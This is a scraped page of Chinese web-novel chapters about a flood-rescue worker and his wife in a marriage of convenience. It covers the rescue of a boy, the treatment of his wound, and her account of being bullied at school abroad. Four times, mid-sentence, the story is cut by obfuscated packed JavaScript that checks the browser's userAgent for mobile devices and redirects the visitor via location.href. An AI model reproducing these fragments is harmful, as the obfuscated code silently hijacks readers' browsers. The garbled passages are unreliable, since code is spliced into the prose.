“找你看看我要不要把户口本改成丧偶。” 嗡嗡雨声中,这一句几乎占据了她所有的听觉。 像一声丧钟。 她愣了几秒,抓起雨衣,转身迈进了苍茫的雨幕中。 不可能的,她站在雨里,耳边响着不断倾泻的雨声和心跳的轰鸣,想。 早上他站在船头一脸不情愿地接过竹蜻蜓,还在气势十足地呛她,那么大一个活人,不可能就这么不见了。 雨水汇成的溪流在透明的雨衣边缘涓涓而下,蜿蜒在她脚边,汇成湿冷的河。 她裹紧了雨衣,一边沿路挨个问人,一边在心里责怪自己。 为什么当时她不好好叮嘱一句,偏要跟他说那种晦气话? 每个人都在摇头,都在困惑,但她总觉得下一个人就会告诉她,白蛇回来了,一身的泥,去换衣服了。 但茫茫水声织成的模糊世界里,唯一的声音就是雨和她不安的呼吸。 没有一点跟那个人有关的影子。 他在救援队八年了,肯定有过更凶险的时候,但他每次都回来了不是吗? 可是那个时候,没有人在他离开之前,尖利刻薄地对他说那种话。 是的,都怪她,明知道前方危险,还非要言不由衷。 ……她期待的,明明是他平安归来。 当齐寻淌过污水,靠近有人影的那座老屋时,暴雨正如流星一样砸在他身上。 前方甬道狭窄,水流不出去,反而因为腹地地势更低,不断向里倒灌。 只消片刻,水位就从他大臂处涨到了肩头,加上老屋破败,瓦片和家什在水里浮沉,行进极为困难。 以这个涨水速度,不出半小时,这间屋子就会被洪水没顶,如果在那之前找不到人,可能就真没希望了。 刚那个人影……真的是错觉吗? 齐寻抹了把脸上的水,把肩上的竹蜻蜓摘下收好,腿脚用力,加快速度向屋里游去。 堂屋的旧桌椅早在水中泡烂,木板和桌椅腿就漂在他耳边。他将整个空间扫视一遍,没看见任何人。 他松了口气,正要转身离开,灌了水的耳朵却蓦地在一片暴怒的雨声中,抓住了一丝梦呓—— 在这间老屋的更深处,有个颤抖的声音,在犹豫着喊救命! 他凝神静听,那声音一晃,又在雨声里消失了。 暴雨中他的听力不如平时,那声音很可能是某个结构在风雨中断裂发出的声响,或者干脆是他在水里泡了太久,已经有了幻听。 水面已经淹到了他的颈根,且流速仍在一刻不停地加快。 如果现在离开,他起码能保证自己性命无虞——里面不知道是什么状况,如果情况复杂,很有可能人没有救到,他自己也出不来了。 ……所以要快。 偏头看着外面不断往里倒灌的污水,齐寻深吸一次,用力仰起头,让自己的身体尽量浮在水面上,顺着一阵急流把自己送进去。 进去的一瞬间,他就明白那声音是怎么回事了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16878033|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一个瘦瘦的少年,看上去十二三岁,穿着一件简陋的塑料雨披,整个人挂在房梁上。 不知是冷还是受了惊吓,他细痩的胳膊抱住挂着水珠的朽木不停颤抖,嗓子也哑得发不出声了。 见到齐寻进来,他一下就哭了,向水里的人哑声叫:“救命!救命!” 声音小得跟奶猫哭似的,来的要不是齐寻,估计已经被忽略了。 齐寻边踩水边喊:“别哭了,保存体力,抱紧房梁。” 他根据涨水速度估算了一下水位,等他救下人来,洪水大概要淹没他的口鼻。 这种情况要带个人游出去,基本上没可能。 从门出不去,那从头顶呢? 之前老人说过,这很久没人住了,这一片的老屋房顶都是些破瓦,应该不难破坏。 他从水中捞过漂浮的桌板和半个木头椅背,踩水让上半身浮出水面,手臂用力一挥,将东西扔到立柜顶上,自己借了旁边的力,攀上湿滑的房梁,慢慢地、一点一点接近那少年。 小孩用力地把胳膊抻到最长,紧张得哭都不敢哭了。 齐寻伸手握住少年的手腕,那一刹那,手里的人忽然猛地松了身体,即时下坠的重量险些将他一起拽进水里! 齐寻一个扑倒将他按在身下,用安全绳把他跟自己绑在一起:“撑着点,别松劲。” 少年呜咽一下,真的收了劲,把软绵的身体重新支撑起来。 水声滔天,他们脚下的洪水在这两句话间,已经一点一点逼近。 他两条腿盘紧梁木,把少年身上的雨披撕下来包住木板递给他:“顶头上,快。” 少年自然战战兢兢照做,齐寻用雨衣把头脸团团裹住,慢慢立起上身,手里举着那半个木头椅背,猛地向上一用力,年久失修的房顶立时应声而碎! 碎瓦裹挟着雨水,瞬间浇在两个人身上。 那少年有木板护体,齐寻身上却被锋利的碎片划出细密的伤口,他来不及看伤——水马上要淹上来了,他得在两人被困死之前,迅速清理出一条逃生的通路来。 雨水沿着被划得稀烂的雨披流下,碎片不断砸在他头上身上,他像是感觉不到似的,手上一刻不停地动作。 直到阴沉天空渐渐盛开在这间被水淹没的老屋里。 齐寻先踩着横梁,双手一撑,将身体腾出屋顶,然后迅速趴下——能这么轻易碎掉的房顶,肯定承受不住一个成年男性。 他向少年伸出手:“来,别怕,抓住。” 少年脸上挂着泪,用力握住他,几乎把指甲抠进他的小臂。 齐寻皱了眉,却没让他放松,正要用力上提,谁知少年脚下一滑,身体猛地向下坠去! 齐寻心下一沉,将腰背肌肉抻到极限,膝盖死死顶住屋脊。 他腰部几乎弯成了一张拉满的弓,撑着整个上身极限探入屋顶的缺口内。 上身扭转用力的瞬间,支棱在齐寻身侧的尖利瓦片,像匕首一样刺进他后腰! 剧痛如同一记摆锤瞬间砸过来,齐寻闷哼一声,咬紧牙关,伸长了手臂,硬是在少年坠落之前再次捞住了他。 随着他的动作,刺入皮肤的瓦片在他腰窝上方拉出一道狰狞的伤口,而他力道丝毫不减,手臂绷起结实的线条,腰部用力一挺,借着腰腹力量将少年稳稳提起。 少年紧闭着双眼,慢慢被他拉出老屋。 等他重新感受到双脚着地,一睁眼,先被齐寻腰部洇开的血迹吓哭了:“哥,你、你是不是要死了?” 35. 第 35 章 这场豪雨许久不停,从铅灰天际不断泼洒,不知还要持续多久。 从屋顶上来后,齐寻找了旁边粗壮的树木把少年接上去,自己坐在下方,才有功夫细细检查自己的伤。 他自己看不见伤处,只能摸索着检查。 伤口有近半拃长,狰狞地在他皮肤上斜斜豁出一个口子,现在伤口边缘往外翻着,断断续续渗出鲜血,背后很快洇成一片。 水灾里这种皮肉伤也变得难搞——卫生条件跟不上,淋雨不说,污水里简直泡着整个元素周期表,本来清理包扎就完事了,现在高低得感染。 齐寻撕下一段内里T恤的下摆将伤口盖住,紧紧捂住布头想按压止血,手心因用力过猛而冒汗,冷风一吹,额角一片冰凉。 可不一会儿,血还是把布条浸透了。 坐在上方树杈的少年带着哭腔喊他:“你怎么流这么多血?” 齐寻闭眼忍过一阵钝痛,问他:“怎么没跟大部队走?” 少年嗫嚅一阵:“我存的钱还在老屋呢。” “……多少钱?” “两百块,”他理亏地小声道:“想买双球鞋。” 也不是多大的事,小孩喜欢踢球,家里条件又一般,球鞋都张嘴了他也不好意思问爸妈要,就偷偷存下午饭钱,想买双结实好看的鞋。 “马上有比赛呢,”他抽了下鼻子:“我不想穿着烂鞋上场。” 齐寻垂着眼,看着在水中沉浮飘荡的冲锋舟,抿着唇没说话。 这小孩没谱的样子,倒让他想起他久远的少年时代。 他也曾经天不怕地不怕,成绩好、人缘好,在学校也是孩子王,犯了天大的错只要妈妈开口说情,爸爸的巴掌就永远落不到他身上。 只可惜世间好物不坚牢,地震之后,他就再也没做过小孩。 盛夏繁茂的枝杈替他们挡掉了一些雨,两个人就这样沉默地坐在雨中的树上,坐了很久,少年忽然又问:“我们是不是要死了?” 齐寻笑了一下:“对,要死了,后悔吗?为了一双鞋?” 半大小孩最好骗,他坐在树上愣了一会儿,扁着嘴呜呜地哭了起来。 齐寻:“……” 服不了半点的软。 他要会服软,也不会临出门了还在跟闻闻拌嘴。 人家好心送他东西,主动来跟他讲话,他还不知足,还针尖对麦芒地刺人家。 她第一次出任务,唯一认识的人就落单失踪了,不知道她会不会害怕。 怀里的竹蜻蜓竖着翅膀硌着他,齐寻探手拿出来,握在了掌心。 塑料片做的小东西,他以为风大一点就散架了,结果又吹风又淋雨还泡水,现在还□□地完好着。 真是谁送的东西就像谁。 少年哭着哭着,又觉得自己连累了齐寻,哽咽道:“大哥哥对、呜呜呜对不起……我太想要双新鞋了呜呜呜呜呜……” 齐寻把竹蜻蜓放回怀里:“嗯,没事。” 人总有些搁不下的执着,哪有什么大小之分。 一双鞋和一个人,说穿了也没什么不同。 那少年呜呜咽咽地从小时候尿床忏悔到考试打小抄,齐寻就安静地听着,只是身体越来越冷了。 哭到最后,不知是不是水都从他眼睛里流走了,倾盆的雨势竟渐渐小了下来。 天色稍亮了些,水虽然没退,但视野已经清晰许多。 齐寻极目远眺,见远处的水流虽然仍急,但来时他留下的地标依旧可见,便揪了一把树叶去搔少年的脚心:“下来,走了。”顿了顿又道:“出去给你买双好鞋。” 等回到营地,安顿好少年,天已经微微擦了黑。 救援队的大本营就像是一个不断奔波的机器,喧嚣、忙碌且有节奏地运转。 救援队员们的脚步声急促而凌乱,物资被堆在每一个目所能及的地方,疲惫的队员制服脏皱,随意窝在角落里补眠。 齐寻跨坐在一棵倒塌树木的树干上,地听着周围煌煌而动的言语和脚步声。 腰上的伤口原本已经止住血,但回来的路上无人配合,行动免不了牵拉撕扯,时不时就漏出一片温热,现在凉凉地贴在皮肤上,竟透着一点淡淡的血腥气。 肾上腺素逐渐褪去,伤口原本的麻木变成了撕裂痛,身体透支带来的绵软和酸疼,也看准了时机涌上来。 可这伤口和疼痛竟让他心里无比平静。 不知坐了多长时间,有医疗组的队员小跑着路过,都跑过去了,余光看见他,又一个急刹车停下:“白蛇?坐这干嘛呢?” 他眼神在齐寻和腰侧一顿,立刻蹲下:“伤这么严重怎么不说?人忙傻了?” 齐寻抬头,半眯着眼睛看他,脑子慢了半拍,顺着时间线回忆了半天,才想起来自己之所以坐在这里,是觉得这样伤成这样,又满身的泥泞,不好去见闻闻。 后知后觉,他又觉得自己好笑——她知道他不见了吗? 会不会她根本就没注意到他没回来,见了他还要不软不硬地说一句,哦,没丧偶啊,太可惜了。 他冲队员伸手,哑着嗓子:“忙去吧,给我卷绷带。” 队友叹了口气,把绷带递给他:“赶紧回吧,你老婆找不到你,急得要哭了!” 齐寻每一个脑细胞都在发烫,根本听不清他在说什么,慢吞吞地冲他一挥指,把人送走了。 伤在后背,够也够不着,他拖着自己慢悠悠烧起来的身体,想再坐一会儿,就回去脱了衣服慢慢弄。 他闭起眼睛,忽然在一片嗡然底噪里,捕捉到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16880977|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个熟悉的声音。 齐寻扭头望过去。 那个瞬间,他以为自己烧得病入膏肓,又看见了幻觉。 黎叙闻踩着一双简陋的靴子,崭新的制服蹭得到处都是土,在营地湿哒哒的烂泥里跋涉,抓着每一个穿救援队制服的人问,你看见白蛇了吗?他有没有回来?你有看到他去哪里了吗? 她眉头拧成一座小山,满脸的汗水和污渍,嘴唇和面孔苍白成一片,就那么一个一个地问过来,眼睛会在对方犹豫的时候短暂地亮一下,然后随着对方摇头又暗下去,像盛着两只闪着尾巴的萤火虫。 齐寻远远地望着她,想,原来她也会露出这种表情么,唇角绷得那么紧,像是下一秒就要哭出来一样。 紧张、慌乱、茫然无措。 几天前她还被他堵在身前,一脸锐利的挑衅,眼尾挑着一柄闪着寒光的刀,那么漂亮。 齐寻慢慢地笑了下,从怀里掏出那只明黄的竹蜻蜓,夹在肩膀上。 傍晚的营地吹起微末的风,拨弄竹蜻蜓的翅膀,在他肩上掀起一阵小小的气旋。 这点明黄色像一盏小灯笼,在一片深蓝和灰白的营地极其显眼,黎叙闻刚刚结束了一次询问,余光被它一点,立刻扭过头来。 底噪杂音织成的细密的网,在此刻砰然散去。 齐寻看见她眼睛蓦地亮了一瞬,先是对着他露出一个特别傻气的笑,紧接着眉眼往下一捺,站在原地,蓦地流泪了。 那滴眼泪从她的眼尾落下,划过她的下颌,砸在泥泞的地上,摔成一只晶莹的蝶。 蝶尾的水珠迸溅进他的眼睛。 一声巨大的断裂声在他身体的最深处轰然响起,又在他空荡荡的胸腔中不住地回响。 齐寻脸上甚至还留着木然的表情,就听见带着深水香气的风铃,在这片兵荒马乱、向死还生的营地中,毫无道理地响成一片。 他的灵魂跟世界之间,缓慢而坚定地,长出了一线陌生又坚韧的勾连。 完了,他想。 黎叙闻站在远处的空地上,任身边无数人影擦肩而过。 她看着他,看了很长时间,才抬手抹掉眼泪,带着哭腔说:“你难道还要我过去——” 视线尽头的人踩着这一句,毫不犹豫地大步向她奔来。 后两个字被埋在一个结实的胸膛里,再说不出口。 齐寻弓着腰,把她的肩膀严实地环在臂弯,眼睛深深埋进她的颈窝,声音含糊不清:“回来了。” 他顾不得自己一身的泥泞,周身的血腥,或是什么道德,什么操守。 那些东西太苍白脆弱,实在撑不起她此时此刻一滴摔碎的眼泪。 于是他也被她踮脚抱紧。 于是他漫长的流浪,终于有了想要停靠的岸。 36. 第 36 章 肌肤相贴的几秒间,黎叙闻立刻觉出他体温异乎寻常的高,鼻子稍微皱了皱,捉到他藏在背后的血腥气,吓得登时想要松开他:“你受伤了?” 齐寻抱着她不放:“没有。” 黎叙闻力气拗不过他,只能伸手在他背后摸索,从肩膀一直摸到后腰,竟摸到一片冰凉黏腻的潮湿,三魂顿时去了七魄:“齐寻!” 齐寻弯着腰,下巴搁在她肩上,闭着眼睛轻笑:“……小点声,没力气吵架了。” 黎叙闻鼻子酸成一片,手足无措的,出口更是不像话:“领证才一个多月你别让我当寡妇!” ……直接给齐寻气笑了。 被她押着去医疗组的路上,想了想又觉得也行。 不管真的假的,好歹是个名分。 直到被按在椅子上,齐寻都还在嘴硬着安慰她:“看着吓人,伤口不深。” 黎叙闻瞪他:“信你我是狗!” 在身后给齐寻剪衣服的廖医生笑道:“没骗你,深度还好,创口挺整齐。”又转头对助手道:“搞点水来,准备清创。” 助手:“没有了,正在净化雨水,完了还得烧……” “没有了?”廖医生讶异:“一点都没了?喝的也没有?” 助手摇头:“没有了,下午就没了。” 他俩一脑门子官司,齐寻倒悠哉,抬头看黎叙闻:“小狗。” 黎叙闻哼了一声,正要呛他,阿咩却在门口叫人:“闻姐,外面开了两辆净水车来,还有饮用水和抗菌敷料,捐赠人是京屿商报,你去看看?” 黎叙闻应声,蹙着眉看了齐寻一眼,转身交接去了。 “啧啧啧,还‘疼~’,以前那是谁啊,伤得都能看见骨头了,还让我先治别人?”廖医生看她走了,终于憋不住,对着齐寻贴脸开大:“手里拿着全营地最后半瓶水,你是怎么有脸装的?” 齐寻:“……看破不说破。” 笑了一阵子,廖医生又敛了神色,认真道:“下午她到处找你,都找到隔壁消防去了,好多人都管她叫望夫石。” 齐寻握着水瓶,拇指着瓶身残留的她的体温,轻轻摩挲。 周围人来人往,闹哄哄的,但他心里特别寂静。 “以前你怎么硬扛,我都没说过你,”廖医生慢慢说:“但现在你得记着,家里有人在等你。” 齐寻垂眸看了一阵瓶壁上挂着的水珠,不知怎么又想起她掉在地上的那滴眼泪。 他把半瓶水放进口袋:“知道。” 说话间,黎叙闻带着纪士诚,身后跟着阿咩和眼泪汪汪的小熊,手里连搬带提地进来。 小熊嘴里呜呜呜地向齐寻跑过来,看了他的伤,张嘴就差点哭了:“你跑哪儿去了……” 齐寻薅一把小熊的脑袋:“没死呢,先别嚎丧。” “你怪人家?”纪士诚沉着脸:“再晚一会儿别说他了,我都要下水去找你。” 几个人围着他,猫儿两三只竟也吵出了人声鼎沸的架势,几条不同声轨在齐寻脑子里歪七扭八地交叠,世界变成了一出巨大的吵架群戏。 这些声音无一例外都诉说着对他的在乎,它们不是第一次响起了,可他却像是第一次听见似的。 大概是因为多了某个人,他的世界真的有了些许不同。 “闻闻,”廖医生探头叫黎叙闻:“来清洗创口。” 黎叙闻一愣:“我吗?” “贴身的工作,老婆不来谁来?” 众人理所当然地看向她,忙得脚不沾地的医疗组长正巧路过,也不忘记补刀:“你能力可以,不用担心。” 黎叙闻:…… 她担心的是能力问题吗? 人人都觉得他俩新婚燕尔,正牌夫妻,但齐寻的身体她只在撞见他换衣服时惊鸿一瞥过,看都没好意思仔细看。 更别说上手摸了。 现在她不但要做,还得习以为常,像庖丁一样熟悉他身上的每一条肌肉走向,脸不红心不跳地做,这才符合她的人设。 她沉默的这两秒,齐寻笑了一声,先发制人:“别气了,帮帮我,行吗?” 黎叙闻在周围一片“哟哟哟”声中不着痕迹地剔了他一眼。 他一句话直接将她架起来,这下子就是刀山火海,她也得下去闯一闯了。 她接过廖医生手里的纱布,沾了水,不着痕迹地轻吸一口气,才终于把视线搁在了他紧实的腰间。 伤口边缘泛白,皮肉翻卷着,长长地斜拉在他髂腰处,像一只睁不开的巨眼。 她跟这只巨眼对视的瞬间,便忘却了自己第一次看他的身体所该有的不自然——对着这样的伤口她想不起任何旖旎春光,她只能想到,带着这么长的口子,他是怎么一个人从洪水横贯的腹地出来,还带回了一个受困者的? 她愣怔着,伸手轻轻触碰他狰狞的伤口。 戴着手套的指尖在齐寻腰间若有似无地擦过,侧腰最敏感的部位,甚至被这轻微的触碰撩起一阵细碎的电流。 细微的痒意如同从骨头里生长出来,在伤口周围盘绕不去。 他喉结无声地滚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885677|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了滚,微垂下头,好掩盖自己不受控制的眼神。 一阵凉水淋上腰间,肌肉蓦地绷紧,黎叙闻眉心跟着肌肉的搏动蓦地一跳:“疼吗?” 要洗去伤口表面和内里的灰尘和砂砾,肯定没有不疼的道理,但此时此刻,齐寻的重点完全不在那一点痛感上。 “不疼,”他声音听起来艰涩,更像欲盖弥彰:“一点都不疼。” 等淅沥水声终于停下,齐寻浑身才猛地松下来,汗比回程路上出得还多。 “要缝合了,闲杂人等都走,别挡我的亮。”廖医生准备好缝合的针线和一点麻醉,又对齐寻道:“没床位,你坐着缝吧。” “闻闻,”廖医生干活身边得有八百个人伺候:“你负责安抚病人情绪。” 她闻言,拖了小马扎过来,坐在齐寻面前:“保证完成任务。” 齐寻看着她落座,视线降落在她脸上,竟升起一丝期待。 下一秒,她牵起他的手,又将手指一根一根插进他的指缝,最后用力一握,刚沾了水的沁凉手掌跟他火烧一样的掌心贴在了一起。 这一整天,齐寻救人、爬树、捣瓦房,手上全是细密的口子,愈合了又挣开,流血了又结痂,手掌尽是粗糙的皮和茧,而她手心绵软,小小的掌心,却把这些全部收在了一处。 黎叙闻偏头对廖医生道:“你放心缝,我给他封印起来了。” 齐寻看着她唇瓣一开一合,柔润的下颌线连到她泛着一片血红的耳垂。 那背后盘着一条灵巧的小蛇,正被一小撮有关于他的火苗炙烤着。 他摸过。 手心里那只小巧冰凉的手没能给他降温,反而让他的呼吸变本加厉地烧起来。 黎叙闻眼神一直盯着他腰侧。 那么长的针,每在翻卷的皮肉间穿过一次,她睫毛就跟着抖一抖。 齐寻无声弯了弯嘴角,伸手捏住下巴给她转回来,迫使她跟自己对视:“放心,不会留疤的。” 黎叙闻拧眉盯着他,嘴上不肯落下风:“反正你自己看着长,不好看了我就不要了。” “行,”齐寻握紧她的手:“那我可得开始保养了。” 黎叙闻望着他的眼神陡然一晃,手指蹭在他的手背上,微微扣紧。 又是这种感觉。 在跟老马坦白的饭局上,她就不止一次有过这种不安。 ——明明是演给外人看,动作台词表情,没有一样不是假的,她却一而再、再而三地含混不清。 仿佛戏是假戏,动的却是真心。 37. 第 37 章 腕上的分针跑过半圈,廖医生终于活动着僵直的肩颈站起来:“闻闻,去把抗菌敷料给他贴上。” 转头又对齐寻:“这东西虽然防水,你也差不多就得了,别老往水里去,到时候再感染。” 这时候已经入夜,最后一支涉水力量也回来了,大本营正慢慢陷入疲惫的沉眠。 廖医生一走,带走了聚焦刺眼的照明,周围忽然昏暗下来。 伴随着不远处伤员病患不时的翻身呓语,两人的呼吸都嘈杂得令人想逃。 黎叙闻抿了抿唇,要起身:“你睡袋呢?在车上?” 齐寻却没松手,手臂用力轻轻将她往前一带:“陪我再呆会儿。” “你还没贴敷料。” “不差这几分钟。” 黎叙闻在黑暗中眨了眨眼,身形一顿,又慢慢坐回他的面前。 紧扣的十指,她却一直忘了挣开。 药剂微苦的气味在夜色里缓缓发酵,充斥在两人间稀薄的空气里。 “是我疏忽,我该让小熊带句话给你。”齐寻低声说:“抱歉。” 黎叙闻摇了下头:“不至于,我就是……很愧疚,不该跟你说那种话。” 是的,只有愧疚,没别的。 齐寻大概是听懂了她的言外之意,语气稍顿:“……嗯,我知道。” 营帐门口的应急灯还疲惫地睁着眼,露出一点点昏昧的光。 她在微弱光线中垂下眼睛。 还好只是一个词就能掰回来的脱轨,还好只是她稍微躲闪就能拉开的距离。 她自己大约没有感觉,这些想法让她的指尖微微回勾,本能地去寻找他皮肤的温度。 “我觉得还挺幸运,”黎叙闻笑了下,道:“原本就是个交易,结果捞到了你这么个朋友。” 齐寻低头看了一眼她贴得更紧的指尖,道:“我可不觉得。” 黎叙闻抬眼看她,眸底的光在黑暗里载浮载沉。 “一句朋友太轻了,如果非要说,我觉得咱们是过命的交情。” 他声音很低,胸腔在离她很近的地方轻微地震动。 黎叙闻就在他落地有声的定义里,懵然怔忪。 熹微光线从她身后透过来,擦过他棱角分明的侧脸,在他肩上掸下一层凉雾一样的光。 她定定地看着他耳侧一点已经结痂的擦伤,一句反驳都说不出口。 默了半晌,她还是问:“你跟我结婚,到底是为了什么?” “不为什么。” “……这对你很不公平。” “你要觉得欠我,就回答我一个问题,咱们就算扯平了。” “什么?” “为什么学散打?” 黎叙闻肩上浅淡的亮边细微地一颤,轻轻吸了口气,没有立刻开口。 可齐寻并没有就此放弃探问,而是同她一起沉默着,静静等着她。 ——他太想知道自己缺失的十年间,她都经历过什么。 这渴望原本只在某些时候蠢蠢欲动,可现在,它却在静夜里喧嚣得让他无法忍受。 过了很久,她带着点刻意为之的笑:“倒不是因为教练长得帅……” 黎叙闻出国之后,在某个高中插班,上了一年预科。 钟郁青担心在异国他乡活不下来,没有花大价钱让女儿上私立,而是让她去了一间便宜的公立高中。 十七八岁的青少年正是荷尔蒙旺盛、不受管束的时候,于是在黎叙闻连日常会话都没说明白的时候,她遇到了明目张胆的歧.视。 亚洲脸、英文不好所以沉默寡言、初来乍到连助教办公室都不知道怎么走,黎叙闻身上所有的一切,都变成了吸引躁动的不良少年来霸凌她的明晃晃的邀请。 上课第一天,一个发尾染着青色,一头脏辫的白人女孩,带着几个穿着盖不住大腿根的短裙的跟班,笑着跟她说,我们给你取个英文名吧。 黎叙闻不明所以,但为了展示友好,她说好。 那女孩拿出一个很长的单词,让她跟着念。她不认得,只能磕磕巴巴跟着读了一遍,引得所有人哄堂大笑。 到现在,她还记得他们笑得能看见扁桃体的样子,笑声难听得刺耳。 她偷偷把单词记下来,到洗手间用手机查,结果发现那个词不是什么名字,而是“阴阳人”。 黎叙闻从小娇生惯养,自尊心极强,她抹掉眼泪,在洗手间的隔间里拨通了钟郁青的电话。 电话那一头,钟郁青正在跟人吵架。 黎叙闻用自己不太灵光的英文水平断断续续听了一阵,终于明白了前因后果 钟郁青找了几个当地人帮忙搬家,搬到一半那些人坐地起价,非要翻倍的价钱,她不肯,这就争执了起来。 一个一米六都不到的瘦小女人,为了几十刀,跟一群膀大腰圆的男人高声争吵,什么难听的话都被骂了,她还听不明白,只能磕绊着说,说好的不是这样的,你们不可以这样,做人要讲信用! 跟一群不知道明天还有没有命在的人讲信用,黎叙闻忽然觉得,自己的妈妈好像比她还要单纯。 她默默挂了电话,擦干眼泪洗了脸,跟老师请了假,往嘴里丢了一颗办公室顺来的泡泡糖大嚼特嚼。 这样能让她看起来是混惯了的,而不是被人欺负、没有根基的新来的。 她把书包吊在屁股后面,半脱了校服,恶狠狠盯退了路上几个怪人,就这样晃晃荡荡回了家。 那帮男人还算有良心,没动钟郁青,只是把她从跳蚤市场淘来的旧家具全部扔在了路边。黎叙闻到家时,她正一个人费劲力气往顶层的阁楼里搬,见女儿这个样子回来,讶异得不行:“怎么打扮成这样……不上课了?” “今天随堂测验,我满分,”黎叙闻一边嚼着泡泡糖一边面不改色地扯谎:“老师说今天的课我不用上了。” 钟郁青喜笑颜开,眉间阴云终于散了:“闻闻真棒!”她拍拍家具:“来,咱们自己搬家,能省不少钱!” 黎叙闻看着地上卷着的地毯,上面还有一个新鲜的大码脚印。 那些家具,最后是她们母女俩一点一点挪上阁楼的,搬完之后两个人累得跟死狗一样,瘫在床上动都动不了。 “闻闻,”钟郁青忽然闭着眼睛问:“班里的同学,有没有欺负你?” 黎叙闻一惊,还以为是自己哪里露了破绽,仔细一想,大概是妈妈自己被欺负了,将心比心,担心女儿的处境。 她没说破,只是冷笑了一声:“我不欺负别人,那就是好事了。” 第二天,黎叙闻找到学校运动队的教练,要他想办法,找人教她打架。 她还是嚼泡泡糖:“我可以帮你捡垃圾。” 教练被她的破烂英语缠得不行,只好给她介绍到自己朋友开的健身房,好摆脱这个奇怪的泡泡糖女孩。 “我就跟那个教练学,风雨无阻地学,终于有一天,它排上了用场。” 某天学校的棒球队打输了比赛,白人女或许是在队长男友那里吃了瘪,午饭时候把餐盘拍得啪啪响,所有人都低眉顺眼绕着她走,只有黎叙闻,目不斜视端着午饭从她身边擦肩而过。 白人女拉住她,叫她chingchong,黎叙闻笑了一声,放下午饭,一矮身脚步后撤,一记摆拳捶在对方右脸。 白人女直接被打懵了。 除了疼,大约更多的是在大庭广众之下,被一个亚洲面孔暴锤的丢人。 她当然要还手,跟班小弟也从四面八方赶来,结果黎叙闻新仇旧恨加上血脉觉醒,不管别人的拳脚怎么往她身上招呼,她就看准了白人女一个人,骑在她身上,把人按在地上一顿暴揍,几个老师赶来拉都拉不开。 后续当然要联系家长赔医药费,钟郁青英文也好了些,把黎叙闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16891903|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挡在身后据理力争,加上黎叙闻早有准备的证据,坐实了校方面对种族歧.视不作为。 面对这么大一顶帽子,校方不得不选择息事宁人,替她赔了医药费,道歉了事。 从此黎叙闻一战成名。 没有人再敢跟她说一句重话,学校里几个小团体见了她都刻意挪开眼神,生怕她一个不高兴,就又发疯,再把人打得肋骨骨折进医院。 她还喜提一个绰号:中国小钢炮。 说起这段陈年旧事,黎叙闻没有什么感怀,只是冷笑:“看见了吧,我就是这么不好惹。” 话锋一转,她又笑道:“不过那教练是挺帅的。” 齐寻借着那一点光亮,一言不发地看着她。 如果不是怕她抗拒,他现在很想抱抱她,忍了又忍,终于只是将他掌心的手重新握紧。 “从那时候我就知道,一切恐惧都来源于火力不足。所以即使毕业了,也还在学,直到大二分了专业忙起来,我才放弃。”黎叙闻从往事中抽离,平淡道:“非要问这个,说起来也没什么意思。” 夜已经很深了,门口那盏如晦的小灯也灭了,似乎整个世界都陷入了沉睡。 齐寻隔着两人之间短短的距离看她,又像隔着千山万水。 两人针锋相对这么多次,他已经差不多摸清了闻闻的习惯。 她是多要强的一个人,轻描淡写的时光里,逻辑完整的话缝里,藏的都是她在学成之前的默默忍耐。 不知道那时候,她受过多少伤。 但这些东西她开不了口,开口就是示弱,最好谁也别提,谁也不知道,谁也别来安慰她。 对黎叙闻来说,同情是一种冒犯。 但那个叫闻闻的小姑娘,好像需要有个人告诉她,示弱也没有关系,这个世界上,你总要有一个可以脱掉盔甲的地方。 可他还是什么都没说。 这种话轻飘飘说出来有什么意思,等他真的做到的那一天,哪怕一个字都不说,她也会明白的。 绵延了一整天的雨在无人知晓的深夜终于停了,月光从渐薄的云层里稍稍探出触角,游到营帐覆着塑胶布的窗子上,斜斜投下一段影子。 齐寻盯着这一点亮色,忽然拣了个话头,问:“你说你是银石湖大学毕业的?” “是,怎么?” “银石湖好像在大学城?” “嗯。” 那还是她应聘志愿者时交的简历,齐寻匆匆瞥了一眼,这时候才想起来,他曾经有过一次遇见她的机会。 